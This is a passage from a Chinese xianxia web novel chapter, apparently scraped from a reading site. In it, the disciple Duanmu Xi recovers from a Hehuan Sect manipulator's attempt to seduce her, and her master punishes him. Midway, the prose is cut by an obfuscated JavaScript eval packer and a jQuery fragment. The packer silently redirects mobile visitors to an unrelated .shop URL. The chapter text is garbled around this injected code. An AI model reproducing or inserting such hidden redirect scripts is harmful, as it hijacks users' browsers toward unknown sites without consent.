端木溪眼神呆滞一秒,随后反应过来,一脚踹飞他:“想死?”
林观潮挑了挑眉,从地上爬起来,看向破坏自己好事的东西:“居然没发现它的存在,你从哪搞来这么有意思的灵宠。”
“和你有关系吗?说,你刚才想干什么,”端木溪拔出剑,眼神带着冷意。
林观潮一脸无辜:“只是想让端师姐同意和我一起逛灯会而已。”
端木溪把剑收了回去,就在林观潮觉得她信了的时候,她一巴掌呼了过去,又扯了扯他的脸皮:“看来是本人。”
“怪我瞎了眼,真是应了那句话,可怜之人必有可恨之处,”端木溪转身离开。
“木溪,你还好吗?”阿云小心翼翼询问。
端木溪站在剑上,吹了一会冷风才开口:“不该因为他是被欺负的一方就放下防备的,如果真中了他的招,那可就任人摆布了。”
“怎么就轻而易举的相信了别人呢……”
阿云陷入沉思,缓缓开口:“要报复回来吗?”
端木溪眼中闪过一丝疲惫,深吸一口气:“累了,不想再聊这个话题了。”
“那我们去接天灾吧,”阿云连忙转移话题。
端木溪:“嗯。”
…………
“我的技术怎么样?”柳安风得意洋洋。
端木溪督了一眼锃光瓦亮的天灾:“挺好的,谢了,”拿回剑转身打算离开。
“哎,等等,”柳安风连忙叫住她,把之前给的灵石丢了回去:“虽然我柳安风是个穷剑修,但我可不骗自己人的钱。”
端木溪又丢了回去:“自己留着吧,”说完便跳到天灾身上离开。
柳安风看着她消失的身影,嘟囔着:“好不容易忍痛还了回去,她居然还不要。”
“不要就不要,正好用来换个新的剑穗,”柳安风转身走进竹屋。
“怎么才回来?”
端木溪刚落地就听到云清箫的声音。
端木溪朝左侧看过去,没看到人,皱眉道:“师兄,你找我有事?”
云清箫挑了挑眉,从屋顶下来:“怎么臭着脸回来,难不成有人惹你生气了?”
端木溪:“一个不重要的人罢了。”
云清箫内心有种不好的预感,试探问道:“是合欢宗的林观潮吗?”
端木溪垂眸思考了片刻:“他来找你了?”
云清箫收起脸上的笑容,打开门侧过身:“进屋说。”
端木溪虽不理解为什么,但还是照做,抬脚跨过门槛,坐在椅子上等他开口。
云清箫在她身旁坐下,低头倒了杯水:“你当时在宗门大典比完,我就去合欢宗查了此人。”
“这位叫林观潮的可真不是个好东西,”云清箫冷着脸继续往下说:“听他同门师弟说,他特别喜欢以被欺负的方式出现,利用别人的善良救他,再以受害者的身份接近,诱惑到后便与人双修,得手后又抛之而去。”
“我看他是盯上你了,真是好大的胆子,”云清箫气得攥紧拳头,眼中直冒火。
端木溪心下了然:“怪不得。”
云清箫皱紧眉头:“这话什么意思?他已经对你下手了?”
端木溪低头喝了口茶,淡定道:“要不是阿云捂住我的另一只眼睛,就被他得逞了。”
“怪我没对他有一点防备之心,”端木溪不敢想当时如果没有阿云后果会怎样。
啪----
云清箫这下坐不住了,起身大步往外走。
“他干什么去?”端木溪转头和阿云目光对视。
阿云督了一眼他去的方向:“往久吋的房间去了。”
“去看看,”端木溪起身跟了上去。
两人还没走进久吋的房间,就听见鬼哭狼嚎的声音。
“师尊!那该死的臭小子!他竟然敢那么对师妹,师尊,你听弟子慢慢和您说……”
端木溪在门口迟疑了片刻,等他说完才走进去,朝久吋行了礼:“师尊。”
趴在自家师尊腿边的云清箫刷的一下起身,遮掩似的咳嗽了两声。
“师兄,我什么也没看到,”端木溪给了他一个台阶下。
久吋抬眸看向她:“你师兄说的都是真的?”
端木溪点了点头。
“你去秘境的日子推到后天,明日你就在峰上,等他来赔罪,”久吋话音刚落,整个人便消失在原地。
只留下端木溪和云清箫大眼瞪小眼。
“我猜师尊应该是去找师叔了,师妹你就等着明天看好戏吧,”云清箫伸了个懒腰,脸上又恢复以往般的笑。
端木溪内心划过一丝暖意:“谢谢师兄。”
云清箫上前拍了拍她的肩膀:“如果不是我问你,你是不是不会说?”
端木溪抿了抿嘴:“抱歉,我以前没有家长可以告状。”
云清箫全身僵硬在原地,眼中闪过一丝懊悔:“抱歉。”
阿云用头蹭了蹭她的脸颊,默默安慰着。
端木溪轻笑出声:“众所周知的事情,你们没必要内疚。”
云清箫突然灵光一闪,拉住她的手臂:“师妹,你喝果酒吗?师尊在桃花树下藏了几罐,我们去拿一罐喝?”
端木溪被他说的动心了,但还是觉得不太礼貌:“没经过师尊的同意还是算了吧。”
云清箫:“你就说想不想喝。”
端木溪:“想喝。”
云清箫拉着她跳到剑上:“走走走,我带你去。”
端木溪连忙稳住身体,顺带扶了一把阿云:“能不能不要这么突然带人飞啊。”
云清箫摸了摸鼻子:“习惯了,习惯了,下次一定提前和你说。”
“师兄你上次也是这么说的,”端木溪鼓起脸颊,气呼呼的看他。
“风太大了,你说什么?”云清箫装作听不到。
端木溪看出他装耳聋,便不再开口说话。
“到了,你挖还是我挖?”云清箫拿着一把小铲子,歪头询问。
端木溪躺在桃花枝上,歪头往下看:“你觉得谁挖?”
云清箫揉了揉眼睛:“眨眼的功夫你怎么就跑到上面躺下了?”
端木溪调整了一下姿势,舒服的吐出一口气:“快点挖吧你。”
云清箫认命的低头开始铲土,没一会便抱着两个白瓷酒瓶飞到另一个树枝上,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701863|208103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把其中一个丢向端木溪:“师尊好小气,酿酒也不找个大一点的罐子。”
“浓缩才是精华,你不懂,”端木溪打开瓶口,扑面而来的是浓厚的桃花香:“好香啊。”
“这酒比我们的年龄还大,当然香了,”云清箫仰头喝着。
端木溪低头抿了一口:“这酒多少年了?”
云清箫:“差不多五十年。”
端木溪惊讶:“都快有三个我大了。”
云清箫和她碰了碰瓶子:“喝,喝完烦恼通通消散。”
“尝尝?”端木溪把酒瓶递到阿云嘴边。
阿云抱着瓶子猛吸一口,下一秒身体往后倒去。
端木溪眼急手快接住,看着醉了的人,调侃道:“怎么这么不经喝啊。”
阿云双手撑在她两边脸颊,感受到手下的触感,迷迷糊糊笑了出声:“木溪,舒服。”
端木溪挑了挑眉:“什么?”
“肉肉的感觉……”阿云贴在她嘴边睡了过去。
端木溪用手碰了碰脸,自己脸上很多肉吗?
算了,不想了,端木溪把他放进戒指里,继续喝闷酒。
等久吋和沈翊言找到时,就看到躺在树枝上睡的乱七八糟的两人。
久吋无奈摇头,上前抱起端木溪,而沈翊言则上前提起云清箫。
沈翊言好笑道:“他们这是在喝闷酒?”
“应该是清箫陪木溪,”久吋抱着人往寝宫那边去。
沈翊言单手提着云清箫的衣领,漫不经心:“合欢宗你打算怎么处理?”
久吋淡淡开口:“断他修为,破他内丹。”
沈翊言想了想:“会不会太轻了点?”
久吋余光督了他一眼:“看样子你有新点子?”
沈翊言:“他那么喜欢和别人双修,那把他丢到青楼怎么样?”
久吋微微睁大眼睛:“可以。”
“这小子天赋不错,可惜啊可惜,”沈翊言虽这么说,但眼神并没有任何惋惜之意。
“没有我们也会有别人出手,修仙界也从不缺天才,”久吋走进端木溪的屋里,把人放在了床上,随后静静地看着她的侧脸。
“让你受委屈了,是为师的错。”
久吋站在床边很久,久到门外等着的沈翊言忍不住开口催他:“还没看够吗?”
久吋只好转身出去:“你很急?”
沈翊言眼睛转了转:“夜黑风高,剪人头发去?”
久吋抬眸和他平视,嘴角微微上扬。
…………
“嘶……还真别说,他这头发保养的挺好,”沈翊言两人站在床边,看着被下了熟睡术的人。
久吋变出一把银色剪刀:“不想剪?”
沈翊言伸手接过:“怎么可能不剪,”说完便弯下腰,开始剪头发。
“大功告成!”沈翊言拍了拍手上的碎头发,歪头看向身边人:“明天你来合欢宗抓人,还是我来?”
久吋:“你去。”
沈翊言笑着调侃:“该不会是害怕那位碰巧闭关出来吧。”
“你想多了,”久吋淡定转身离开,但脚下的步伐却比以往快了一些。